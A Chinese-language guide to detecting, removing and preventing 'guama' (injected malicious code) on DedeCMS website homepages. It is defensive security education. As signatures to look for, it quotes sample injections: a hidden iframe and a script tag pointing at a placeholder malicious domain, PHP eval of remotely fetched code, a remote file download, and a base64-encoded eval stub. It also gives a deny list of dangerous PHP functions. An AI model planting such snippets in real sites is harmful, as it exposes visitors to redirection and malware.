什么是“挂马”?
“挂马”的全称是“网站挂马”,指的是攻击者通过各种手段,在网站的合法页面(通常是首页 index.php)中植入一段恶意的JavaScript、iframe或PHP代码,这段代码的作用是:

- 跳转到恶意网站:访问者打开你的网站后,会自动或静默地跳转到赌博、色情、诈骗等非法网站。
- 下载病毒/木马:恶意代码会尝试访问者的电脑,下载并运行病毒、木马程序,窃取个人信息、银行账户等敏感数据。
- SEO劫持:搜索引擎(如百度、谷歌)收录你的网站时,可能会抓取到恶意内容,导致你的网站被降权、标记为危险网站,甚至从搜索结果中移除。
对于DedeCMS来说,由于PHP的特性,挂马代码最常见的是被直接写入 index.php 文件,或者通过包含文件的方式,在 index.php 执行时加载恶意代码。
如何判断我的DedeCMS首页是否被挂马?
你可以通过以下几种方法快速判断:
手动检查源代码(最直接)
这是最基本也是最有效的方法。
- 登录你的网站服务器,使用SSH或FTP工具连接到你的网站根目录。
- 找到并打开
index.php文件。 - 仔细检查文件的开头(
<?php之前)和结尾(?>之后),以及中间的逻辑部分,寻找任何你不认识的、非DedeCMS官方代码。
常见的挂马代码特征:

-
<iframe>:最常见的形式。<iframe src="http://恶意域名.com/muma.html" width="0" height="0" style="display:none;"></iframe>
这种代码通常被放在
index.php文件的最后,高度和宽度为0,用于隐藏。 -
<script>:执行远程JS脚本。<script src="http://恶意域名.com/muma.js"></script>
这种JS脚本可能会进一步跳转或下载。
(图片来源网络,侵删) -
PHP代码:直接在PHP文件中执行恶意逻辑。
<?php // ... DedeCMS 原有代码 ... // 恶意代码,通常在文件末尾 @eval(file_get_contents('http://恶意域名.com/getcode.php')); // 执行远程代码 // 或者 file_put_contents('tmp/muma.txt', file_get_contents('http://恶意域名.com/muma.txt')); // 下载远程文件 ?>eval()是一个非常危险的函数,攻击者常用它来执行任意PHP代码。 -
Base64编码的代码:为了躲避简单查杀,代码可能会被编码。
<?php @eval(base64_decode('aWYgKCFmdW5jdGlvbl9leGVjKCRfU0VSVkVSKSB8fCBkaWUoIkVycm9yIikpKSB7...')); ?>你可以将
base64_decode()函数里的字符串复制出来,用在线Base64解码工具尝试解码。
通过浏览器访问检查
- 普通访问:打开你的网站首页,然后查看网页源代码(右键 -> 查看网页源代码),看是否能发现上述的
<iframe>或<script>- 使用安全工具:
- 360网站卫士 / 百度云加速:如果你的网站接入了这类服务,它们通常有“网站安全检测”功能,能自动扫描并提示挂马。
- Google Safe Browsing:在Google搜索中输入
要查询的网址,查看是否有安全风险提示。 - 奇安信/腾讯哈勃等在线扫描:将你的网站URL提交给这些在线安全平台进行扫描。
- 使用安全工具:
如何清除挂马代码?(应急处理)
一旦确认被挂马,请立即按照以下步骤操作:
第1步:立即备份
在进行任何修改之前,务必备份!务必备份!务必备份!
- 备份整个网站根目录。
- 备份数据库。
第2步:清除挂马文件
- 定位挂马文件:根据上一节的检查,确定是
index.php文件被修改,还是其他文件(如config.php、include目录下的文件)被修改。 - 恢复文件:
- 最佳方法:从你干净的、未受感染的网站备份中,恢复
index.php文件。 - 次优方法:如果你没有备份,可以去DedeCMS官网下载与你网站版本完全一致的官方源码包,然后用官方源码包里的
index.php覆盖你网站上的index.php。注意:覆盖前请务必确认你网站的数据库信息等配置是否在index.php中,避免覆盖后导致网站无法访问。
- 最佳方法:从你干净的、未受感染的网站备份中,恢复
- 检查其他文件:攻击者可能会修改多个文件,请务必检查以下关键文件和目录:
index.phpconfig.php(数据库配置文件)include目录下的所有文件member目录(会员中心)special目录(专题)- 任何你自定义的模板文件(
/templets/)
第3步:修改密码和权限
-
修改所有重要密码:
- 网站FTP/SFTP密码
- 网站后台管理密码
- 数据库密码
- 服务器/主机面板密码
-
检查文件权限:这是DedeCMS一个非常常见的漏洞点。
-
使用SSH或FTP工具,将网站目录及其下所有文件和文件夹的权限设置为安全的权限。
-
目录权限:设置为
755(drwxr-xr-x) -
文件权限:设置为
644(-rw-r--r--) -
重要配置文件(如
config.php):可以设置为600(-rw-------),确保只有所有者(通常是Web服务器用户,如www-data或apache)可以读写。 -
执行命令(Linux):
# 进入网站根目录 cd /path/to/your/dede # 设置所有目录为755 find -type d -exec chmod 755 {} \; # 设置所有文件为644 find -type f -exec chmod 644 {} \; # 单独设置config.php为600 chmod 600 config.php
-
第4步:清理恶意文件和后门
- 检查网站根目录下是否有奇怪的文件,如
tmp.php,shell.php,txt等,全部删除。 - 检查
data目录(DedeCMS缓存目录)下是否有可疑的缓存文件,可以清空data目录下的缓存文件(注意:这会导致网站需要重新生成缓存,但通常是安全的)。
如何从根本上防止再次被挂马?(长期安全)
清除只是治标,治本需要加强安全防护。
保持系统和插件更新
- 及时更新DedeCMS:关注DedeCMS官方动态,及时升级到最新稳定版本,因为新版本会修复已知的安全漏洞。
- 及时更新插件/模块:不要使用来源不明的插件,对于官方或知名开发者提供的插件,也要及时更新。
加强服务器和PHP环境安全
- 关闭不必要的PHP函数:在
php.ini配置文件中,禁用危险函数,这是最有效的防御之一。; 禁用 eval, exec, system 等危险函数 disable_functions = exec,passthru,shell_exec,system,proc_open,proc_get_status,popen,show_source,phpinfo,assert,ini_alter,ini_restore,dl,open_basedir,escapeshellcmd,escapeshellarg,passthru,exec,shell_exec,system,proc_open,proc_get_status,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
- 设置安全的文件权限:如第三步所述,这是重中之重。
- 使用安全软件:安装 Wordfence (如果支持PHP)、Fail2ban 等安全软件,防止暴力破解和恶意扫描。
养成良好的安全习惯
- 使用复杂密码:网站后台、FTP、数据库的密码必须足够复杂(包含大小写字母、数字、特殊符号)。
- 定期备份:设置定期自动备份网站文件和数据库,并将备份文件存储在异地。
- 限制后台登录IP:如果条件允许,在服务器或虚拟主机控制面板中,限制只有你的IP地址才能访问网站后台
/dede/目录。 - 不要使用默认后台目录:安装后,修改
dede文件夹为其他复杂的名称。 - 安装Web应用防火墙 (WAF):使用 ModSecurity、阿里云WAF、腾讯云WAF 或 Cloudflare 等服务,它们能有效拦截大部分常见的攻击,如SQL注入、文件包含等。
处理“DedeCMS挂马”问题,核心思路是: 立即清除(恢复文件) -> 全面加固(改密码、调权限) -> 长期防护(勤更新、上WAF)。
请务必重视网站安全,一次挂马事件不仅会损失流量和用户信任,更可能带来法律风险,定期进行安全自查,防患于未然。
